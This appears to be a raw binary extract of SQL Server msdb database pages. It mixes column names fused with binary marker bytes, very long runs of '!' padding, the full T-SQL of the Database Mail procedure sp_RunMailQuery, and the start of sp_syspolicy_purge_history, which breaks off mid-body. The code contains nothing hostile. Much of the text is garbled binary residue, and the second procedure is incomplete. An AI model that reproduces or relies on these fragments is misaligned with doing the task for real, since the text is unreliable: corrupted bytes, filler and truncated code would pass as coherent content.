Sprocessing_time0-cT100Uaggregation_type0-cT100Kobject_type0-cT14x2]physical_server_name0-cT14՜3]server_instance_name0-cT14~4Odatabase_name0-cT1;;opercent_total_cpu_utilization0-9Jm14;urn0-9Jm14Iparent_urn0-9Jm1;;AGrowth0-9Jm144IGrowthType0-9Jm1;;CMaxSize0-9Jm14=Name0-9Jm1;;=Size0-9Jm1;;GUsedSpace0-9Jm1	4EFileName0-9Jm1
SVolumeFreeSpace0-9Jm14]server_instance_name0-9Jm14Odatabase_name0-9Jm1
4Qfilegroup_name0-9Jm14@Spowershell_path0-9Jm14Kvolume_name0-9Jm14Uvolume_device_id0-9Jm14]physical_server_name0-9Jm1;;Savailable_space0-9Jm1;;[percent_utilization0-9Jm1++
"
Sprocessing_time!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!B&~)8

;
		H	SO|Ak$7`-)OL4DzXw0-*00
;;CMaxSize0-*004=Name0-*00;;=Size0-*00;;GUsedSpace0-*004EFileName0-*00SVolumeFreeSpace0-*00;;Savailable_space!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!d`<>J`0M 8
CREATE PROCEDURE [dbo].[sp_RunMailQuery]
   @query                      NVARCHAR(max),
   @attach_results             BIT,
   @query_attachment_filename  NVARCHAR(260) = NULL,
   @no_output                  BIT,
   @query_result_header        BIT,
   @separator                  VARCHAR(1),
   @echo_error                 BIT,
   @dbuse                      sysname,
   @width                      INT,
   @temp_table_uid             uniqueidentifier,
   @query_no_truncate          BIT,
   @query_result_no_padding    BIT
AS
BEGIN
    SET NOCOUNT ON
    SET QUOTED_IDENTIFIER ON

    DECLARE @rc             INT,
            @prohibitedExts NVARCHAR(1000),
            @fileSizeStr    NVARCHAR(256),
            @fileSize       INT,
            @attach_res_int INT,
            @no_output_int  INT,
            @no_header_int  INT,
            @echo_error_int INT,
         @query_no_truncate_int INT,
         @query_result_no_padding_int   INT,
            @mailDbName     sysname,
            @uid            uniqueidentifier,
            @uidStr         VARCHAR(36)

    --
    --Get config settings and verify parameters
    --
    SET @query_attachment_filename = LTRIM(RTRIM(@query_attachment_filename))

    --Get the maximum file size allowed for attachments from sysmailconfig.
    EXEC msdb.dbo.sysmail_help_configure_value_sp @parameter_name = N'MaxFileSize', 
                                                @parameter_value = @fileSizeStr OUTPUT
    --ConvertToInt will return the default if @fileSizeStr is null
    SET @fileSize = dbo.ConvertToInt(@fileSizeStr, 0x7fffffff, 100000)

    IF (@attach_results = 1)
    BEGIN
        --Need this if attaching the query
        EXEC msdb.dbo.sysmail_help_configure_value_sp @parameter_name = N'ProhibitedExtensions', 
                                                    @parameter_value = @prohibitedExts OUTPUT

        -- If attaching query results to a file and a filename isn't given create one
        IF ((@query_attachment_filename IS NOT NULL) AND (LEN(@query_attachment_filename) > 0))
        BEGIN 
          EXEC @rc = sp_isprohibited @query_attachment_filename, @prohibitedExts
          IF (@rc <> 0)
          BEGIN
              RAISERROR(14630, 16, 1, @query_attachment_filename, @prohibitedExts)
              RETURN 2
          END
        END
        ELSE
        BEGIN
            --If queryfilename is not specified, generate a random name (doesn't have to be unique)
           SET @query_attachment_filename = 'QueryResults' + CONVERT(varchar, ROUND(RAND() * 1000000, 0)) + '.txt'
        END
    END

    --Init variables used in the query execution
    SET @mailDbName = db_name()
    SET @uidStr = convert(varchar(36), @temp_table_uid)

    SET @attach_res_int        = CONVERT(int, @attach_results)
    SET @no_output_int         = CONVERT(int, @no_output)
    IF(@query_result_header = 0) SET @no_header_int  = 1 ELSE SET @no_header_int  = 0
    SET @echo_error_int        = CONVERT(int, @echo_error)
    SET @query_no_truncate_int = CONVERT(int, @query_no_truncate)
    SET @query_result_no_padding_int = CONVERT(int, @query_result_no_padding )

    EXEC @rc = master..xp_sysmail_format_query  
                @query        = @query,
                @message      = @mailDbName,
                    @subject     = @uidStr,
                    @dbuse       = @dbuse, 
                    @attachments = @query_attachment_filename,
                    @attach_results = @attach_res_int,
                    -- format params
                    @separator      = @separator,
                    @no_header      = @no_header_int,
                    @no_output      = @no_output_int,
                    @echo_error     = @echo_error_int,
                @max_attachment_size = @fileSize,
                    @width       = @width, 
                    @query_no_truncate = @query_no_truncate_int,
                    @query_result_no_padding    = @query_result_no_padding_int
   RETURN @rc
END
0 8CREATE PROCEDURE [dbo].[sp_syspolicy_purge_history] @include_system bit=0
AS
BEGIN
	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole';
	IF ( 0!= @retval_check)
	BEGIN
		RETURN @retval_check;
	END

    DECLARE @retention_interval_in_days_variant sql_variant
    SET @retention_interval_in_days_variant = (SELECT current_value 
                                        FROM msdb.dbo.syspolicy_configuration
                                        WHERE name = N'HistoryRetentionInDays');
                                        
    DECLARE @retention_interval_in_days int;
    SET @retention_interval_in_days = CONVERT(int, @retention_interval_in_days_variant);
    
    IF( @retention_interval_in_days <= 0)
        RETURN 0;
	
